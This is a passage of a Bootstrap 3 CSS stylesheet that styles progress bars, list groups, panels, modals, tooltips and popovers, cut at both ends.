40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n       -o-animation: progress-bar-stripes 2s linear infinite;\n          animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n  background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n  background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n  background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n  background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.media {\n  margin-top: 15px;\n}\n.media:first-child {\n  margin-top: 0;\n}\n.media,\n.media-body {\n  overflow: hidden;\n  zoom: 1;\n}\n.media-body {\n  width: 10000px;\n}\n.media-object {\n  display: block;\n}\n.media-object.img-thumbnail {\n  max-width: none;\n}\n.media-right,\n.media > .pull-right {\n  padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n  padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n  display: table-cell;\n  vertical-align: top;\n}\n.media-middle {\n  vertical-align: middle;\n}\n.media-bottom {\n  vertical-align: bottom;\n}\n.media-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n.media-list {\n  padding-left: 0;\n  list-style: none;\n}\n.list-group {\n  padding-left: 0;\n  margin-bottom: 20px;\n}\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n  margin-bottom: -1px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n}\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\na.list-group-item,\nbutton.list-group-item {\n  color: #555;\n}\na.list-group-item .list-group-item-heading,\nbutton.list-group-item .list-group-item-heading {\n  color: #333;\n}\na.list-group-item:hover,\nbutton.list-group-item:hover,\na.list-group-item:focus,\nbutton.list-group-item:focus {\n  color: #555;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\nbutton.list-group-item {\n  width: 100%;\n  text-align: left;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #eee;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n  color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n  color: #777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n  z-index: 2;\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n  color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n  color: #c7ddef;\n}\n.list-group-item-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n}\na.list-group-item-success,\nbutton.list-group-item-success {\n  color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading,\nbutton.list-group-item-success .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-success:hover,\nbutton.list-group-item-success:hover,\na.list-group-item-success:focus,\nbutton.list-group-item-success:focus {\n  color: #3c763d;\n  background-color: #d0e9c6;\n}\na.list-group-item-success.active,\nbutton.list-group-item-success.active,\na.list-group-item-success.active:hover,\nbutton.list-group-item-success.active:hover,\na.list-group-item-success.active:focus,\nbutton.list-group-item-success.active:focus {\n  color: #fff;\n  background-color: #3c763d;\n  border-color: #3c763d;\n}\n.list-group-item-info {\n  color: #31708f;\n  background-color: #d9edf7;\n}\na.list-group-item-info,\nbutton.list-group-item-info {\n  color: #31708f;\n}\na.list-group-item-info .list-group-item-heading,\nbutton.list-group-item-info .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-info:hover,\nbutton.list-group-item-info:hover,\na.list-group-item-info:focus,\nbutton.list-group-item-info:focus {\n  color: #31708f;\n  background-color: #c4e3f3;\n}\na.list-group-item-info.active,\nbutton.list-group-item-info.active,\na.list-group-item-info.active:hover,\nbutton.list-group-item-info.active:hover,\na.list-group-item-info.active:focus,\nbutton.list-group-item-info.active:focus {\n  color: #fff;\n  background-color: #31708f;\n  border-color: #31708f;\n}\n.list-group-item-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n}\na.list-group-item-warning,\nbutton.list-group-item-warning {\n  color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading,\nbutton.list-group-item-warning .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-warning:hover,\nbutton.list-group-item-warning:hover,\na.list-group-item-warning:focus,\nbutton.list-group-item-warning:focus {\n  color: #8a6d3b;\n  background-color: #faf2cc;\n}\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\nbutton.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus,\nbutton.list-group-item-warning.active:focus {\n  color: #fff;\n  background-color: #8a6d3b;\n  border-color: #8a6d3b;\n}\n.list-group-item-danger {\n  color: #a94442;\n  background-color: #f2dede;\n}\na.list-group-item-danger,\nbutton.list-group-item-danger {\n  color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading,\nbutton.list-group-item-danger .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-danger:hover,\nbutton.list-group-item-danger:hover,\na.list-group-item-danger:focus,\nbutton.list-group-item-danger:focus {\n  color: #a94442;\n  background-color: #ebcccc;\n}\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\nbutton.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus,\nbutton.list-group-item-danger.active:focus {\n  color: #fff;\n  background-color: #a94442;\n  border-color: #a94442;\n}\n.list-group-item-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n.list-group-item-text {\n  margin-bottom: 0;\n  line-height: 1.3;\n}\n.panel {\n  margin-bottom: 20px;\n  background-color: #fff;\n  border: 1px solid transparent;\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n}\n.panel-body {\n  padding: 15px;\n}\n.panel-heading {\n  padding: 10px 15px;\n  border-bottom: 1px solid transparent;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n  color: inherit;\n}\n.panel-title {\n  margin-top: 0;\n  margin-bottom: 0;\n  font-size: 16px;\n  color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n  color: inherit;\n}\n.panel-footer {\n  padding: 10px 15px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #ddd;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n  margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n  border-width: 1px 0;\n  border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n  border-top: 0;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n  border-bottom: 0;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n  border-top-width: 0;\n}\n.list-group + .panel-footer {\n  border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n  margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n  border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n  border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n  border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n  border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n  border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n  border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n  border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n  border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n  border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n  border-bottom: 0;\n}\n.panel > .table-responsive {\n  margin-bottom: 0;\n  border: 0;\n}\n.panel-group {\n  margin-bottom: 20px;\n}\n.panel-group .panel {\n  margin-bottom: 0;\n  border-radius: 4px;\n}\n.panel-group .panel + .panel {\n  margin-top: 5px;\n}\n.panel-group .panel-heading {\n  border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n  border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n  border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n  border-bottom: 1px solid #ddd;\n}\n.panel-default {\n  border-color: #ddd;\n}\n.panel-default > .panel-heading {\n  color: #333;\n  background-color: #f5f5f5;\n  border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #ddd;\n}\n.panel-default > .panel-heading .badge {\n  color: #f5f5f5;\n  background-color: #333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #ddd;\n}\n.panel-primary {\n  border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #337ab7;\n}\n.panel-success {\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n  color: #dff0d8;\n  background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #d6e9c6;\n}\n.panel-info {\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n  color: #d9edf7;\n  background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #bce8f1;\n}\n.panel-warning {\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n  color: #fcf8e3;\n  background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #faebcc;\n}\n.panel-danger {\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n  color: #f2dede;\n  background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n  position: relative;\n  display: block;\n  height: 0;\n  padding: 0;\n  overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  border: 0;\n}\n.embed-responsive-16by9 {\n  padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n  padding-bottom: 75%;\n}\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #e3e3e3;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n}\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, .15);\n}\n.well-lg {\n  padding: 24px;\n  border-radius: 6px;\n}\n.well-sm {\n  padding: 9px;\n  border-radius: 3px;\n}\n.close {\n  float: right;\n  font-size: 21px;\n  font-weight: bold;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #fff;\n  filter: alpha(opacity=20);\n  opacity: .2;\n}\n.close:hover,\n.close:focus {\n  color: #000;\n  text-decoration: none;\n  cursor: pointer;\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\nbutton.close {\n  -webkit-appearance: none;\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n}\n.modal-open {\n  overflow: hidden;\n}\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: hidden;\n  -webkit-overflow-scrolling: touch;\n  outline: 0;\n}\n.modal.fade .modal-dialog {\n  -webkit-transition: -webkit-transform .3s ease-out;\n       -o-transition:      -o-transform .3s ease-out;\n          transition:         transform .3s ease-out;\n  -webkit-transform: translate(0, -25%);\n      -ms-transform: translate(0, -25%);\n       -o-transform: translate(0, -25%);\n          transform: translate(0, -25%);\n}\n.modal.in .modal-dialog {\n  -webkit-transform: translate(0, 0);\n      -ms-transform: translate(0, 0);\n       -o-transform: translate(0, 0);\n          transform: translate(0, 0);\n}\n.modal-open .modal {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 10px;\n}\n.modal-content {\n  position: relative;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #999;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  outline: 0;\n  -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n          box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n}\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n.modal-backdrop.fade {\n  filter: alpha(opacity=0);\n  opacity: 0;\n}\n.modal-backdrop.in {\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.modal-header {\n  min-height: 16.42857143px;\n  padding: 15px;\n  border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n  margin-top: -2px;\n}\n.modal-title {\n  margin: 0;\n  line-height: 1.42857143;\n}\n.modal-body {\n  position: relative;\n  padding: 15px;\n}\n.modal-footer {\n  padding: 15px;\n  text-align: right;\n  border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n  margin-bottom: 0;\n  margin-left: 5px;\n}\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n  margin-left: 0;\n}\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n@media (min-width: 768px) {\n  .modal-dialog {\n    width: 600px;\n    margin: 30px auto;\n  }\n  .modal-content {\n    -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n            box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n  }\n  .modal-sm {\n    width: 300px;\n  }\n}\n@media (min-width: 992px) {\n  .modal-lg {\n    width: 900px;\n  }\n}\n.tooltip {\n  position: absolute;\n  z-index: 1070;\n  display: block;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 12px;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  word-wrap: normal;\n  white-space: normal;\n  filter: alpha(opacity=0);\n  opacity: 0;\n\n  line-break: auto;\n}\n.tooltip.in {\n  filter: alpha(opacity=90);\n  opacity: .9;\n}\n.tooltip.top {\n  padding: 5px 0;\n  margin-top: -3px;\n}\n.tooltip.right {\n  padding: 0 5px;\n  margin-left: 3px;\n}\n.tooltip.bottom {\n  padding: 5px 0;\n  margin-top: 3px;\n}\n.tooltip.left {\n  padding: 0 5px;\n  margin-left: -3px;\n}\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #fff;\n  text-align: center;\n  background-color: #000;\n  border-radius: 4px;\n}\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n  right: 5px;\n  bottom: 0;\n  margin-bottom: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n  bottom: 0;\n  left: 5px;\n  margin-bottom: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-width: 5px 5px 5px 0;\n  border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-width: 5px 0 5px 5px;\n  border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n  top: 0;\n  right: 5px;\n  margin-top: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n  top: 0;\n  left: 5px;\n  margin-top: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1060;\n  display: none;\n  max-width: 276px;\n  padding: 1px;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  word-wrap: normal;\n  white-space: normal;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n          box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n\n  line-break: auto;\n}\n.popover.top {\n  margin-top: -10px;\n}\n.popover.right {\n  margin-left: 10px;\n}\n.popover.bottom {\n  margin-top: 10px;\n}\n.popover.left {\n  margin-left: -10px;\n}\n.popover-title {\n  padding: 8px 14px;\n  margin: 0;\n  font-size: 14px;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-radius: 5px 5px 0 0;\n}\n.popover-content {\n  padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n  position: absolute;\n  display: block;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.popover > .arrow {\n  border-width: 11px;\n}\n.popover > .arrow:after {\n  content: \"\";\n  border-width: 10px;\n}\n.popover.top > .arrow {\n  bottom: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-color: #999;\n  border-top-color: rgba(0, 0, 0, .25);\n  border-bottom-width: 0;\n}\n.popover.top > .arrow:after {\n  bottom: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-color: #fff;\n  border-bottom-width: 0;\n}\n.popover.right > .arrow {\n  top: 50%;\n  left: -11px;\n  margin-top: -11px;\n  border-right-color: #999;\n  border-right-color: rgba(0, 0, 0, .25);\n  border-left-width: 0;\n}\n.popover.right > .arrow:after {\n  bottom: -10px;\n  